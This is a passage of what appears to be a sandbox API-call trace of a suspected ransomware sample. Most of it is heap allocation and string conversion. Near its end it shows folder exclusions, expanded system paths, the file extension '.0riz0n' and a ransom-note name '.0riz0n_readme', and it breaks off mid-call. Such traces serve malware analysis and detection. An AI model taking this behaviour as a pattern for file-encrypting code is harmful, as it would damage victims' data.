[0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d248 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5e8 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d298) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc08) returned 1 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3bc08 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.742] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c798) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1f8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c750) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1e8) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c708) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d208) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c6c0) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d218) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c678) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d228) returned 1 [0193.742] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c630) returned 1 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d238) returned 1 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5e8) returned 1 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d248) returned 1 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dae0 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1f8, cbMultiByte=25, lpWideCharStr=0xd3dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3db68 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dae0) returned 1 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d248 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dae0 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3db68) returned 1 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3db68 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1b0, cbMultiByte=12, lpWideCharStr=0xd3db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dbf0 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3db68) returned 1 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d238 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3db68 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dbf0) returned 1 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dbf0 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c168, cbMultiByte=8, lpWideCharStr=0xd3dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dc78 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dbf0) returned 1 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d228 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dbf0 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dc78) returned 1 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dc78 [0193.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpWideCharStr=0xd3dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dd00 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dc78) returned 1 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d218 [0193.743] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dc78 [0193.743] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dd00) returned 1 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dd00 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c240, cbMultiByte=11, lpWideCharStr=0xd3dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dd88 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dd00) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3dd00 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d208 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3de28 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dd88) returned 1 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3deb0 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpWideCharStr=0xd3deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3df38 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3deb0) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1e8 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3deb0 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3df38) returned 1 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3df38 [0193.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpWideCharStr=0xd3df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dfc0 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3df38) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1f8 [0193.744] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3df38 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dfc0) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d298) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.744] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc08) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.745] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.745] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d618 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2e8 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5e8 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.746] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d298) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.746] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5e8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2e8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d618) returned 1 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d618 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2e8 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5e8 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.747] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.747] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.747] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=14, lpWideCharStr=0xd3dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0193.748] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=10, lpWideCharStr=0xd3e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0193.748] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=15, lpWideCharStr=0xd3e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0193.748] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0193.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=56, lpWideCharStr=0xd3e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0193.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0193.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd5058, cbMultiByte=7, lpWideCharStr=0xd3e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0193.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0193.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd5058, cbMultiByte=14, lpWideCharStr=0xd3e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0193.749] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0193.749] CryptStringToBinaryA (in: 